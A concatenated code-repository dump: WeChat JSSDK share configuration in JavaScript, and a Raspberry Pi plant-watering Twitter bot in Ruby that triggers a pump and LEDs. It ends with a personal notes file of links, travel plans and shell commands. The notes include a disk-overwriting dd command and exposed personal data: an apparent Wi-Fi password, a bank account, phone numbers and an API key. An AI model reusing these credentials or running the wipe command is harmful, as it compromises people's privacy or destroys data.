debug: openJssdkDebug,
appId: configData.appId,
timestamp: configData.timestamp,
nonceStr: configData.nonceStr,
signature: configData.signature,
jsApiList: [
'checkJsApi', 'onMenuShareTimeline', 'onMenuShareAppMessage', 'onMenuShareQQ', 'onMenuShareWeibo', 'onMenuShareQZone', 'hideMenuItems', 'showMenuItems', 'hideAllNonBaseMenuItem', 'showAllNonBaseMenuItem', 'translateVoice', 'startRecord', 'stopRecord', 'onVoiceRecordEnd', 'playVoice',
'onVoicePlayEnd', 'pauseVoice', 'stopVoice', 'uploadVoice', 'downloadVoice', 'chooseImage', 'previewImage', 'uploadImage', 'downloadImage', 'getNetworkType', 'openLocation', 'getLocation', 'hideOptionMenu', 'showOptionMenu', 'closeWindow', 'scanQRCode', 'chooseWXPay', 'openProductSpecificView', 'addCard', 'chooseCard', 'openCard'
]
});
},
menuShareAppMessage() {
// 2.1监听“分享到朋友”按钮点击、自定义分享内容及分享结果接口
wx.onMenuShareAppMessage({
title: window.Title,
desc: window.Desc,
link: window.ShareUrl,
imgUrl: window.ShareImage,
success: function(res) {},
cancel: function(res) {},
fail: function(res) {}
});
// 2.2 监听“分享到朋友圈”按钮点击、自定义分享内容及分享结果接口
wx.onMenuShareTimeline({
title: window.Title,
desc: window.Desc,
link: window.ShareUrl,
imgUrl: window.ShareImage,
success: function(res) {},
cancel: function(res) {},
fail: function(res) {}
});
}
}
}) <file_sep>//配置微信jssdk
function wxConfig(configData, openJssdkDebug) {
wx.ready(function () {
wx.checkJsApi({
jsApiList: ["chooseImage"],
success: function (res) {
if (res.checkResult.chooseImage) {
console.log("wx.checkJsApi success");
window.wxConfigReady = true;
document.dispatchEvent(new Event("wxConfigReady"));
}
console.log("wx.checkJsApi result:", res.checkResult);
},
fail: function (res) {
console.log("wx.checkJsApi fail:", res);
}
});
});
wx.error(function (res) {
console.log("wx.config error:", res);
});
wx.config({
debug: openJssdkDebug,
appId: configData.appId,
timestamp: configData.timestamp,
nonceStr: configData.nonceStr,
signature: configData.signature,
jsApiList: [
"checkJsApi",
"onMenuShareTimeline",
"onMenuShareAppMessage",
"onMenuShareQQ",
"onMenuShareWeibo",
"onMenuShareQZone",
"updateAppMessageShareData",
"updateTimelineShareData",
"hideMenuItems",
"showMenuItems",
"hideAllNonBaseMenuItem",
"showAllNonBaseMenuItem",
"translateVoice",
"startRecord",
"stopRecord",
"onVoiceRecordEnd",
"playVoice",
"onVoicePlayEnd",
"pauseVoice",
"stopVoice",
"uploadVoice",
"downloadVoice",
"chooseImage",
"previewImage",
"uploadImage",
"downloadImage",
"getNetworkType",
"openLocation",
"getLocation",
"hideOptionMenu",
"showOptionMenu",
"closeWindow",
"scanQRCode",
"chooseWXPay",
"openProductSpecificView",
"addCard",
"chooseCard",
"openCard"
]
});
}
//加载jweixin标签,兼容6.7.2微信jssdk1.4.0版本
loadScript("./js/jweixin-1.2.0.js", function () {
//加载配置微信jssdk参数标签
loadScript("https://game.flyh5.cn/game/xiyouji_jssdk/twolevel_autho/share.php?auth_appid=wx1da84b6515b921cd&type=js&isonlyopenid=true", function () {
//配置微信jssdk
wxConfig({
appId: wx_config["appId"],
timestamp: wx_config["timestamp"],
nonceStr: wx_config["nonceStr"],
signature: wx_config["signature"]
}, window.openJssdkDebug)
});
})
//加载script
function loadScript(src, callback) {
var s = document.createElement("script");
s.async = false;
s.src = src;
var evtName = null;
var evtListener = null;
function logic() {
s.parentNode.removeChild(s);
s.removeEventListener(evtName, evtListener, false);
callback && callback();
}
if (!-[1,]) {
evtName = "readystatechange";
evtListener = function () {
(this.readyState == "loaded" || this.readyState == "complete") && logic();
}
} else {
evtName = "load";
evtListener = logic;
}
s.addEventListener(evtName, evtListener, false);
console.log(s);
document.body.appendChild(s);
} | 1137c78f635a2185f2cee50bfa5eb02c3777ec13 | [
"JavaScript"
] | 2 | JavaScript | qq377677616/wc190610tuandaiwang | ce8811bd7b98550f5cab40cb3ba683a4d28e497f | 1597912d4a9f478125cdff9703abc1c02d509aaf |
refs/heads/master | <file_sep>require "wiringpi.rb"
class POMP
def initialize()
@s = WiringPi::GPIO.new
@s.mode(1,PWM_OUTPUT)
@s.pwmWrite(1,0)
end
def give_water
@s.pwmWrite(1,800)
sleep(0.2)
@s.pwmWrite(1,450)
sleep(0.3)
@s.pwmWrite(1,500)
sleep(0.9)
@s.pwmWrite(1,0)
end
end
<file_sep>require 'wiringpi.rb'
#class PIC
# def initialize()
# @s = WiringPi::Serial.new('/dev/ttyAMA0',9600)
# end
# def serial_send(data)
# s.serialPutchar(data)
# end
# def serial_recieve(data)
# s.serialPutchar(data)
# a = s.serialGetchar
# return a
# end
#end
s = WiringPi::Serial.new('/dev/ttyAMA0',9600)
s.serialPutchar(0x00)
<file_sep>############################################
#saibaiman IO test led|7 4 2|
# 2013 9/15 |8 5 1|
# |9 6 3|
############################################
require "wiringpi.rb"
s = WiringPi::GPIO.new
s.mode(1,PWM_OUTPUT) #pwm motor
s.mode(0,OUTPUT) #led blue
#s.mode(2,OUTPUT)
s.mode(3,OUTPUT) #led red 1
s.mode(4,OUTPUT) #led red 2
s.mode(5,OUTPUT) #led red 3
s.mode(6,OUTPUT) #led red 4
#s.mode(7,OUTPUT)
#s.mode(8,OUTPUT)
#s.mode(9,OUTPUT)
s.mode(10,OUTPUT) #led red 5
s.mode(11,OUTPUT) #led red 6
s.mode(12,OUTPUT) #led red 7
s.mode(13,OUTPUT) #led red 8
s.mode(14,OUTPUT) #led red 9
#s.mode(15,OUTPUT)
#s.mode(16,OUTPUT)
s.write(0,1)
s.write(3,1)
s.write(4,1)
s.write(5,1)
s.write(6,1)
s.write(10,1)
s.write(11,1)
s.write(12,1)
s.write(13,1)
s.write(14,1)
s.pwmWrite(1,800)
sleep(0.2)
s.pwmWrite(1,300)
sleep(0.3)
s.pwmWrite(1,450)
sleep(0.9)
s.pwmWrite(1,0)
#s.write(0,0)
#s.write(3,0)
#s.write(4,0)
#s.write(5,0)
#:wq
#s.write(6,0)
#s.write(0,0)
#s.write(3,0)
#s.write(4,0)
#s.write(5,0)
#s.write(6,0)
#s.write(10,0)
#s.write(11,0)
#s.write(12,0)
#s.write(13,0)
#s.write(14,0)
#s.pwmWrite(1,0)
##s.write(2,0)
#s.write(3,1)
#s.write(4,1)
#s.write(5,1)
#s.write(6,1)
##s.write(7,0)
##s.write(8,0)
##s.write(9,0)
#s.write(10,1)
#s.write(11,1)
#s.write(12,1)
#s.write(13,1)
#s.write(14,1)
#s.write(15,0)
#s.write(16,0)
<file_sep>require 'tweetstream'
CONSUMER_KEY = "auUBaH7ARybO0jnl7s36sw"
CONSUMER_SECRET = "<KEY>"
ACCESS_TOKEN = "<KEY>"
ACCESS_TOKEN_SECRET = "<KEY>"
TweetStream.configure do |config|
config.consumer_key = "auUBaH7ARybO0jnl7s36sw"
config.consumer_secret = "<KEY>"
config.oauth_token = "<KEY>"
config.oauth_token_secret = "<KEY>"
config.auth_method = :oauth
end
puts 'auth'
client = TweetStream::Client.new
#client.sitestream(['128454340'], :followings => true) do |status|
# puts status.inspect
#end
client.userstream do |status|
# puts " #{status.user.name} -> #{status.text}"
# puts " #{status.user.favourites_count} "
puts " #{status.event} "
puts " #{status.event.event} "
end
client.track("#soundcloud") do |status|
#puts "#{status.user.name}: #{status.text}"
#puts status.text
puts " #{status.user.name} -> #{status.text}"
puts " #{status.user.favourites_count} -> #{status.text}\n\n"
end
<file_sep>#require File.dirname(__FILE__) + "/authorizedkey.rb"
require './authorizedkey.rb'
#include "authorizedkey.rb"
#include Authorizedkey
p Authorizedkey.key["access_token"]
p Authorizedkey.key["access_token_secret"]
<file_sep>###############################################################
# pic control LCD
# 0x00 clear
# 0x01 hekko saibaiman
# 0x02 retweet
# 0x03 favorite
# 0x04 state of led
# 0x05 tahnks
# 0x06 state of water
#
# #############################################################
require 'wiringpi.rb'
class PIC
def initialize()
@s = WiringPi::Serial.new('/dev/ttyAMA0',9600)
end
def serial_send(data)
@s.serialPutchar(data)
end
def serial_recieve(data)
@s.serialPutchar(data)
a = @s.serialGetchar
return a
end
end
<file_sep>
############################################
#saibaiman drive LE led|7 4 2|
# 2013 9/15 |8 5 1|
# |9 6 3|
############################################
require "wiringpi.rb"
class LED
def initialize()
@s = WiringPi::GPIO.new
@s.mode(0,OUTPUT) #led blue
@s.mode(3,OUTPUT) #led red 1
@s.mode(4,OUTPUT) #led red 2
@s.mode(5,OUTPUT) #led red 3
@s.mode(6,OUTPUT) #led red 4
@s.mode(10,OUTPUT) #led red 5
@s.mode(11,OUTPUT) #led red 6
@s.mode(12,OUTPUT) #led red 7
@s.mode(13,OUTPUT) #led red 8
@s.mode(14,OUTPUT) #led red 9
end
def set_led(num)
@s.write(num,1)
end
def clear_led(num)
@s.write(num,0)
end
end
<file_sep>require 'rubygems'
require 'tweetstream' #twitter streaming api ライブラリ
require 'twitter' #twitter api ライブラリ
require File.dirname(__FILE__) + "/pomp.rb" #水やりポンプ工藤
require File.dirname(__FILE__) + "/led.rb" #LED工藤
require File.dirname(__FILE__) + "/pic.rb" #pic通信
require './authorizedkey.rb' #twitterキー呼び出し
#twitterアカウント情報
#認証
#TweetStream.configure do |config|
# config.consumer_key = CONSUMER_KEY
# config.consumer_secret = CONSUMER_SECRET
# config.oauth_token = ACCESS_TOKEN
# config.oauth_token_secret = ACCESS_TOKEN_SECRET
# config.auth_method = :oauth
#end
#Twitter.configure do |config|
# config.consumer_key = CONSUMER_KEY
# config.consumer_secret = CONSUMER_SECRET
# config.oauth_token = ACCESS_TOKEN
# config.oauth_token_secret = ACCESS_TOKEN_SECRET
#end
TweetStream.configure do |config|
config.consumer_key = Authorizedkey.key["consumer_key"]
config.consumer_secret = Authorizedkey.key["consumer_secret"]
config.oauth_token = Authorizedkey.key["access_token"]
config.oauth_token_secret = Authorizedkey.key["access_token_secret"]
config.auth_method = :oauth
end
TweetStream.configure do |config|
config.consumer_key = Authorizedkey.key["consumer_key"]
config.consumer_secret = Authorizedkey.key["consumer_secret"]
config.oauth_token = Authorizedkey.key["access_token"]
config.oauth_token_secret = Authorizedkey.key["access_token_secret"]
end
#tweetstreamのobj作成
client = TweetStream::Client.new
client_ = Twitter::Client.new
#client_.update("Whats up man?!")
#pomp作成
pomp = POMP.new()
#led作成
led = LED.new()
#
pic = PIC.new()
pic.serial_send(0x01)
sleep(5)
pic.serial_send(0x00)
led.set_led(0)
#自分のtweetもしくは他者にRetweetされてイベント発生
client.on_timeline_status do |status|
#Retweetの場合のみ取り出し
if status.text[0..16]== "RT @sai_bai_man_:" then
print "Retweet from "
puts status.user.screen_name
puts status.text
led.clear_led(0)
led.clear_led(3)
led.clear_led(4)
led.clear_led(5)
led.clear_led(6)
led.clear_led(10)
led.clear_led(11)
led.clear_led(12)
led.clear_led(13)
led.clear_led(14)
pic.serial_send(0x02)
led.set_led(10)
pomp.give_water
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
sleep(0.25)
led.clear_led(10)
sleep(0.25)
led.set_led(10)
pic.serial_send(0x05)
sleep(5)
pic.serial_send(0x00)
led.set_led(0)
led.set_led(3)
led.set_led(4)
led.set_led(5)
led.set_led(6)
led.set_led(10)
led.set_led(11)
led.set_led(12)
led.set_led(13)
led.set_led(14)
end
end
#favされてイベント発生
client.on_event(:favorite) do |event|
print "favorite from "
puts event[:source][:screen_name]
#client_.update("@" + event[:source][:screen_name] + " Thanks man!!!" )
led.clear_led(0)
led.clear_led(3)
led.clear_led(4)
led.clear_led(5)
led.clear_led(6)
led.clear_led(10)
led.clear_led(11)
led.clear_led(12)
led.clear_led(13)
led.clear_led(14)
pic.serial_send(0x03)
led.set_led(0)
pomp.give_water
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
sleep(0.25)
led.clear_led(0)
sleep(0.25)
led.set_led(0)
pic.serial_send(0x05)
sleep(5)
pic.serial_send(0x00)
led.set_led(0)
led.set_led(3)
led.set_led(4)
led.set_led(5)
led.set_led(6)
led.set_led(10)
led.set_led(11)
led.set_led(12)
led.set_led(13)
led.set_led(14)
end
client.userstream
<file_sep>require 'tweetstream' #twitter streaming api ライブラリ
require File.dirname(__FILE__) + "/pomp.rb" #水やりポンプ工藤
require File.dirname(__FILE__) + "/led.rb" #LED工藤
require File.dirname(__FILE__) + "/pic.rb" #pic通信
require './authorizedkey.rb' #twitterキー呼び出し
#twitterアカウント情報
#認証
TweetStream.configure do |config|
config.consumer_key = Authorizedkey.key["consumer_key"]
config.consumer_secret = Authorizedkey.key["consumer_secret"]
config.oauth_token = Authorizedkey.key["access_token"]
config.oauth_token_secret = Authorizedkey.key["access_token_secret"]
config.auth_method = :oauth
end
#tweetstreamのobj作成
client = TweetStream::Client.new
#pomp作成
pomp = POMP.new()
#led作成
led = LED.new()
#
pic = PIC.new()
#Retweetされてイベント発生
client.on_timeline_status do |status|
puts "retweet"
puts status.text
led.clear_led(0)
led.clear_led(3)
led.clear_led(4)
led.clear_led(5)
led.clear_led(6)
led.clear_led(10)
led.clear_led(11)
led.clear_led(12)
led.clear_led(13)
led.clear_led(14)
sleep(0.4)
led.set_led(0)
sleep(0.4)
led.clear_led(0)
sleep(0.4)
led.set_led(0)
sleep(0.4)
led.clear_led(0)
led.set_led(0)
led.set_led(3)
led.set_led(4)
led.set_led(5)
led.set_led(6)
led.set_led(10)
led.set_led(11)
led.set_led(12)
led.set_led(13)
led.set_led(14)
end
#favされてイベント発生
client.on_event(:favorite) do |event|
puts "favorite"
puts event[:source][:screen_name]
pomp.give_water
end
client.userstream
| 2c43cd5e904e27ab3f9c28fa4974711d2a5f5ec1 | [
"Ruby"
] | 9 | Ruby | miyamotohirosi/saibaiman | 70df27da8cca4cd7bd9fe475a1549fa09d32d6c1 | 299c3c569dec8f3cf63bcea53e46e010ac4e75e2 |
refs/heads/master | <file_sep>#!/bin/bash
export a=$1
s="${a}"
s=${s/c:}
path=${s//\\//}
echo "Moving to $path"
<file_sep>#!/bin/bash
unixpath=$1
echo $unixpath | sed 's/\//\\/g' | sed 's/home/\\rvc-nas-06/g' | sed 's/shsv/\\rvc-nas-00/g' | sed 's/00\\DTV/05\\DTV/g' | sed 's/00\\RCarSW/08\\RCarSW/g' | sed 's/00\\SS2/08\\SS2/g'
<file_sep>#!/bin/sh
# /etc/init.d/tightvncserver
# Set the VNCUSER variable to the name of the user to start tightvncserver under
VNCUSER='pi'
case "$1" in
start)
su $VNCUSER -c '/usr/bin/tightvncserver :1'
echo "Starting TightVNC server for $VNCUSER"
;;
stop)
pkill Xtightvnc
echo "Tightvncserver stopped"
;;
*)
echo "Usage: /etc/init.d/tightvncserver {start|stop}"
exit 1
;;
esac
exit 0
<file_sep>#linuxfoundation.org
https://www.youtube.com/channel/UC0cd_-e49hZpWLH3UIwoWRA/videos
http://mlab.vn/raspberry-pi-b-raspberry-pi2/module-cho-raspberry-pi/1256641-pifi-dac-v2-0-card-am-thanh-hi-fi-cho-raspberry-pi.html
https://www.chotot.com/quan-go-vap/mua-ban-man-hinh-phu-kien/53616163.htm
https://www.chotot.com/quan-tan-binh/mua-ban-laptop/53467349.htm
https://www.chotot.com/quan-tan-binh/mua-ban-laptop/53499399.htm
git remote -v
git remote add 83 rvc@192.168.5.83:/GITLAB/BenchMark
git push 24 remotes/origin/fuego-renesas
http://download.osmc.tv/installers/diskimages/OSMC_TGT_rbp1_20181014.img.gz
Ki 23/9 al
http://kanshudo.com/
http://maggiesensei.com/
uname -a
cat /proc/version
lsb_release -a
https://trinhdinhlinh.com/sach/tarzan-dua-con-cua-rung-xanh/chuong-4-paplovich-lap-ke-phuc-thu/
Địa chỉ: 4 Đường số 7, P. Linh Trung, Q. Thủ Đức, TP.HCM (Cạnh số nhà 113 đường Hoàng Diệu 2)
https://linhkiendientudaiphu.com/san-pham/day-co-nhiet-3mm.html
B13 - B14 Cao Ốc A <NAME> - Điện Tử Nhật Tảo, Đường Tân Phước, Phường 7, Quận 10, HCM
https://ngoinhakienthuc.com/tu-tre-trau-co-nghia-la-gi.html
http://www.simtec.co.uk/products/SWLINUX/files/booting_article.pdf
https://releases.linaro.org/components/toolchain/binaries/6.3-2017.05/aarch64-linux-gnu/
https://www.raspberrypi.org/magpi-issues/MagPi70.pdf
https://sites.google.com/site/cauchuyenvanhocnghethuat/vhnt-85-1
https://www.bosch-mobility-solutions.com/en/highlights/connected-mobility/
http://fuegotest.org/fuego/Fuego_Quickstart_Guide
http://time-in.info/timer.asp
<NAME> and <NAME>
https://kernelci.org/soc/
https://drive.google.com/file/d/1F2BKa4mVOc6REwV8jnQpjDics8YdIx3E/view
: https://drive.google.com/file/d/1mV2u5F--eTUUX6ZR6o2jAT_o2m3YfdzB/view
https://www.open-electronics.org/libre-computer-introduces-the-linux-ready-open-source-la-frite-sbc/
https://github.com/jenkinsci/blueocean-plugin
https://jenkins.io/solutions/github/
https://gerrit.automotivelinux.org/gerrit/#/q/status:open
sudo apt-get install matchbox-keyboard
https://learningenglish.voanews.com/a/a-half-british-half-american-royal-baby-on-the-way/4614552.html
https://lawpro.vn/ban-hieu-oem-va-odm-la-gi.html
https://pitchfork.com/news/winamp-is-coming-back/
https://www.amatechinc.com/resources/blog/tier-1-2-3-automotive-industry-supply-chain-explained
https://hshop.vn/products/man-honh-lcd-7-inch-hdmi-vga-rca
https://events.linuxfoundation.org/events/agl-member-meeting-europe/program/schedule/
https://event.synopsys.com/ehome/352721/agenda/
https://github.com/osu-mist/persons-api
https://www.foody.vn/khanh-hoa/quan-nem-le-hong-phong/album-khong-gian
0913759415
https://github.com/renesas-rcar
https://www.systutorials.com/linux-kernels/431367/mm-memblock-c-use-config_have_memblock_node_map-to-protect-movablecore_map-in-memblock_overlaps_region-linux-3-9/
https://www.systutorials.com/linux-kernels/431367/mm-memblock-c-use-config_have_memblock_node_map-to-protect-movablecore_map-in-memblock_overlaps_region-linux-3-9/
http://www.cs.rug.nl/~roe/courses/isc/
how a software on automobile works
https://github.com/topics/terminal
https://www.embedded.com/design/operating-systems/4442406/Software-in-cars
http://maggiesensei.com/
https://at.projects.genivi.org/wiki/display/PROJ/Meta+ivi+BSPs+for+Specific+Hardware
https://github.com/marketplace https://github.com/topics
キム グエン
18h00-18h15: Start at RVC
21h15: Khởi hành đi Nha Trang
Nghỉ đêm trên tàu
05h40: Get to Nha Trang
06h30: Enjoy breakfast
08h00: Visit Tháp Bà then go to I Resort (Hot mineral spring resort)
12h00: Enjoy lucnh
(Hoàng Thành restaurent-110 Mai Xuân Thưởng, P.<NAME>, Nha Trang)
13h30: Take hotel room
15h00: Go to Nhũ Tiên resort
Attend Team Building
18h00: Enjoy dinner – Nha Trang speciality food
Free time- Nem nướng Đặng Văn Quyên.
06h15: Have breakfast at hotel (buffet)
07h30: Visit Hon Tam Island.
12h00: Back to Nha Trang city to have lunch
(Thiên Thành-03 Củ Chi, P.<NAME>, Nha Trang)
13h00: Back to hotel
17h30: Attend Gala Dinner at Nhu Tien resort
21h30: Back to hotel
06h15: Have breakfast at hotel
07h30: Head to Ho Chi Minh city
10h00: Visit grape garden in Ninh Thuận
11h30: Enjoy lunch
18h30: Get to Ho Chi Minh city-END
Điểm tham quan trong thành phố:
- Nhà thờ núi : Nhà thờ đá kiến trúc kiểu Pháp, đi chụp hình ok.
- Chùa Long Sơn: Chùa lớn nhất ở Nha Trang.
- Phố tây : Khu vực xung quanh khách sạn. Các quán theo phong cách nước ngoài. Giá cả cao.
- Bãi biển, công viên bờ biển: Từ khách sạn có thể đi bộ ra.
- Mua sắm: Quanh chợ Xóm mới, vd Hải sản khô 31 Ngô Gia Tự
- Hòn chồng: bãi đá cạnh bờ biển, đi chụp hình
Chiều tối:
- Skylight Nha Trang: Bar trên tầng thượng khách sạn. Ngắm thành phố từ trên cao.
- Sailing club bar: Bar trên bờ biển
- Chợ đêm, ăn vặt: đối diện quảng trường 2/4.
- Mall: Nha Trang center, Vincom.
- Các quán Cà phê khu vực trung tâm: nhiều
- Chương trình tour đã có ăn Bún cá, Nem nướng, hải sản.
- Quán bánh canh Nguyên Loan + Bún cá 123 Ngô Gia Tự + bánh mì chả cá
- Bánh căn 51 Tô Hiến Thành
- Bánh bèo, hỏi 15 Huỳnh Thúc Kháng.
- Bánh xèo: 85 Tô Hiến Thành.
- Bún thịt nướng, bèo hỏi: 163 Hoàng Văn Thụ.
- Cơm gà Hà: 75 Ngô Gia Tự
- Bánh Đập - Bánh Cuốn - Bánh Ướt: 16 Hồng Lĩnh
- Sò, ốc : 24 <NAME>
maggiesensei.com
https://drive.google.com/drive/folders/0Bxa1nkdzxkloQzVTYmlwRnJVQzg
https://sites.google.com/site/learnvocabinieltsreading/home/speak-english-like-an-american
https://www.redhat.com/en/command-line-heroes
http://maggiesensei.com/2010/05/18/%E3%81%94%E3%82%81%E3%82%93%E3%81%AA%E3%81%95%E3%81%84%E8%A8%B1%E3%81%97%E3%81%A6%E4%B8%8B%E3%81%95%E3%81%84%E3%80%82gomennasaiyurushite-kudasai-how-to-apologize-in-japanese/
2-4 phan boi chau
16A lang ong
https://www.google.com/search?q=Device+Driver+for+Linux
https://hvdic.thivien.net/transcript.php#han
http://linuxgizmos.com/raspberry-pi-i-o-add-on-targets-aquaponics-and-hydroponics/
https://stranded.fm/#programma-home-section
• Ngày thi: September 30, 2018
• Buổi thi: PM
Vui lòng kiểm tra kỹ thông tin đăng kí bên trên, nếu có sai sót gì vui lòng báo lại gấp.
Địa điểm thi: tại Vp. IIG Việt Nam – Chi nhánh HCM, Lầu 8, số 538 CMT8, F11, Q3
Thời gian thi: Vui lòng có mặt 30 phút trước giờ thi để làm thủ tục
- Buổi sáng : từ 7h30 đến 11h00 (có mặt trước 7h15)
- Buổi chiều : từ 13h30 đến 16h30 (có mặt trước 13h15)
Bạn nào chưa đóng lệ phí thi vui long đóng gấp. Lệ phí thi chuyển khoản 880K. Xin cám ơn.
“ - Nội dung: Payment for TOEIC exam fee for First name_Last name on
date (VD: Payment for TOEIC exam fee for Mr XX on April 02, 2015)
- Số TK: 0181003250517
- Chủ TK: <NAME> Hậu ”
Suzhou
Kedah
http://bird.org/scout/Front_Page
http://bird.org/cgi-bin/words.cgi
http://bird.org/tbwiki/FrontPage
https://elinux.org/Fuego
fuegotest.org/wiki/FrontPage
https://bitbucket.org/tbird20d/fuego/
https://bitbucket.org/tbird20d/fuego-core/
http://vietnam.renesas.com/2018/09/12/2534/
http://fuegotest.org/wiki/Coding_style
http://fuegotest.org/wiki/Architecture
http://fuegotest.org/wiki/Fuego_Documentation
http://fuegotest.org/wiki/
http://www.tme.vn/
https://viettravelo.com/hue-an-vat-o-dau-13-dia-chi-an-vat-ngon-nuc-tieng-o-hue-khong-the-bo-qua.html
https://www.flickr.com/photos/nguyenloc_sg/3749007540
http://www.electropepper.org/blog/item/raspberry-pi-2-kodi-remote-control-with-lirc
an vat chi map
https://github.com/ThreeNG/E-Books/
https://ossna18.sched.com/event/FAN7/applying-video-test-automation-to-automate-multimedia-verification-with-embedded-linux-nguyen-nguyen-khiem-nguyen-renesas-design-vietnam?iframe=no&w=100%&sidebar=yes&bg=no
https://ossna18.sched.com/event/FAMz/a-flexible-test-automation-system-for-various-embedded-linux-usecases-khiem-nguyen-renesas-design-vietnam?iframe=no&w=100%&sidebar=yes&bg=no
https://ossna18.sched.com/event/FAOK/iommu-evaluation-in-automotive-use-cases-khiem-nguyen-renesas-design-vietnam
レジューム デバイス
http://www.qnx.com/download/group.html?programid=29184
http://www.qnx.com/developers/docs/7.0.0/
http://fuegotest.org/wiki/Coding_style
ka-nerukonfigu
[Runesasuerekutoronikusu] Ltd.
http://www.manythings.org/songs/ck-daisy.html
https://elixir.bootlin.com/linux/latest/source
http://www.informit.com/store/linux-kernel-development-9780672329463?w_ptgrevartcl=Getting+Started+with+the+Linux+Kernel_1610334
https://doc.lagout.org/operating%20system%20/linux/Linux%20Kernel%20Development%2C%203rd%20Edition.pdf
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/refs/tags
https://www.collabora.com/news-and-blog/news-and-events/linux-kernel-4.18.html
https://people.collabora.com/~vince/linux-kernel-what-who-how.pdf
https://www.collabora.com/about-us/blog/2015/02/03/debian-jessie-on-raspberry-pi-2/
https://www.collabora.com/about-us/blog/2015/02/12/weston-repaint-scheduling/
https://www.collabora.com/news-and-blog/blog/2016/04/15/yocto-and-openembedded-at-collabora/
https://community.arm.com/iot/wearables/f/discussions/2624/how-to-succeed-in-wearable-tech-lessons-from-gopro-and-pebble
https://www.collabora.com/news-and-blog/blog/2017/10/06/performance-analysis-in-linux-(continued)/
https://www.collabora.com/news-and-blog/blog/2018/06/11/gstreamer-ci-support-for-embedded-devices/
https://www.kernel.org/doc/gorman/html/understand/understand008.html
https://www.kernel.org/doc/gorman/html/understand/understand005.html
https://www.rose-hulman.edu/class/csse/csse332/200930/Slides/FileManagement-02.pdf
http://events17.linuxfoundation.org/sites/events/files/slides/dt_internals.pdf
https://cgi.cse.unsw.edu.au/~cs3231/08s1/lectures/lect11x6.pdf
https://www.kernel.org/doc/gorman/pdf/understand.pdf
http://www.enseignement.polytechnique.fr/informatique/INF583/INF583_5.pdf
Wifi_BanDoc_PhongDoc
s.hub@2017
https://www.kanshudo.com
01649753047
0934130809
a foster care/home/child/mother
https://elinux.org/images/e/e0/Introduction-to-Fuego-ELC-2016.pdf
http://fuegotest.org/wiki/test_execution_flow_outline
https://news.ycombinator.com/news
https://developer.nvidia.com/embedded/downloads#?tx=$software,l4t-tx2
https://saigoneer.com/listings/category-items/1-listings/58-moving
http://www.babynamewizard.com/
https://techtalk.vn/vun-vat-ve-git.html
https://www.phonearena.com/image.php?m=Articles.Images&f=name&id=177344&popup=1
https://community.arm.com/processors/b/blog/posts/arm-shares-updated-cortex-a53-a57-performance-expectations
http://www.adac.co.jp/eng/company/map.html
The Automotive Business division offers 'in-vehicle control' semiconductors that control engines and car bodies and 'car information' semiconductors for in-vehicle information such as navigation systems.
https://www.renesas.com/en-eu/about/press-center/news/2017/news20170512c.html
https://www.renesas.com/en-us/promotions/solutions/event/devcon2017/sp-15.html
http://www.4-traders.com/business-leaders/biography/
http://www.4-traders.com/RENESAS-ELECTRONICS-CORPO-6496219/
https://www.renesas.com/en-hq/about/ir/other/news.html
https://www.renesas.com/en-hq/about/company/whats-semiconductors/manga.html
https://www.lynda.com/IT-Infrastructure-tutorials/Comparing-adware-spyware-ransomware/645057/735412-4.html
https://vinacode.net/
http://ascii-table.com/pronunciation-guide.php
http://sachvui.com/sachvui-686868666888/ebooks/2017/pdf/Sachvui.Com-nghe-thuat-tinh-te-cua-viec-dech-quan-tam-mark-manson.pdf
https://toidicodedao.files.wordpress.com/2017/01/toi-di-code-dao-ebook-demo.pdf
https://betterhumans.coach.me/how-to-do-work-at-your-computer-faster-2eace4213413
https://toidicodedao.com/2018/07/10/hoc-best-practice-programming/
547/19 hoang sa
http://nv-tegra.nvidia.com/gitweb/?p=linux-4.4.git
http://www.cs.cornell.edu/courses/cs3410/2013sp/
https://github.com/ThreeNG/free-science-books/blob/master/free-science-books.md
http://vietnamcoracle.com/23-differences-from-south-to-north-vietnam/?utm_campaign=shareaholic&utm_medium=facebook&utm_source=socialnetwork
Boochart: collect process information, CPU statistics and disk usage statistics
性能評価結果
poky (meta-yocto-bsp)
meta-linago (meta-optee, meta-linaro-toolchain)
meta-openembedded (meta-oe, meta-filesystems)
meta-multimedia
meta-networking
meta-python
https://falstaff.agner.ch/2016/07/03/u-bootlinux-and-hyp-mode-on-armv7/
https://archive.org/details/NamKyPhongTucNhonVatDienCa2
https://www.howstuffworks.com/
https://scribles.net/enabling-hands-free-profile-on-raspberry-pi-raspbian-stretch-by-using-pulseaudio/
カラオケ
https://tutorials-raspberrypi.com/let-raspberry-pis-communicate-with-each-other-per-433mhz-wireless-signals/
https://tutorials-raspberrypi.com/control-raspberry-pi-wireless-sockets-433mhz-tutorial/
http://www.modmypi.com/blog/raspberry-pis-remotes-ir-receivers
for i in $(ls .);do md5sum $i;done
https://kodi.wiki/view/Raspberry_Pi
sudo dd if=/dev/zero of=/dev/sdc bs=512 count=20 conv=fdatasync
sudo dd if=OSMC_TGT_rbp2_20160403.img of=/dev/sdc conv=fdatasync
sudo dd bs=1m if=2014-09-09-wheezy-raspbian.img of=/dev/disk4
addicted to vim
https://lists.yoctoproject.org/listinfo/automated-testing
https://elinux.org/Automated_Testing_Summit
https://linuxfoundation.smapply.io/prog/embedded_linux_conference_europe_2018/
https://bitbucket.org/threeng/
https://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers.git
https://git.kernel.org/?s=idle
https://www.kernel.org/doc/html/latest/gpu/drm-mm.html
Before a command is executed, its input and output may be redirected using a special notation interpreted
by the shell. Redirection may also be used to open and close files for the current shell execution
